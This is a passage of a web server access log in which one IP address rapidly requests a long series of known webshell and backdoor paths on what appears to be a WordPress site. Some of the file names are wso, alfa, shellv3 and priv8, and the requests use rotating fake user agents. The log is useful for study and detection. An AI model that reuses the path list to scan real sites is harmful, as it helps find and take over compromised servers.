(Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:39 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:40 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:40 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:36:40 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:40 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:40 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:40 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:40 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:36:40 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:40 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:40 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:41 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:41 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:41 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:41 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:41 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:41 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:41 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:41 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:41 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:41 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:36:42 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:42 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:36:42 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:36:42 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:42 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:42 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:42 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:42 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:36:42 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:42 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:43 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:43 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:43 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:43 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:43 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:43 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:43 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:43 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:44 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:44 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:44 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:44 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:44 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:44 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:44 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:44 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:36:44 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:44 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:44 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:45 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:45 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:45 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:45 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:45 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:45 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:45 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:45 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:45 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:45 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:45 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:46 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:47 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:47 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:47 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:47 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:47 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:47 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:47 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:47 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:47 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:47 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:47 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:48 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:48 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:48 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:48 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:48 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:48 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:48 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:48 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:48 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:48 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:49 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:49 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:49 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:49 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:49 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:49 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:49 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:49 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:49 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:49 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:49 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:50 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:50 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:50 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:50 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:50 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:50 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:50 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:50 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:50 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:36:50 -0400] "GET /Rosette.php HTTP/1.1" 301 795 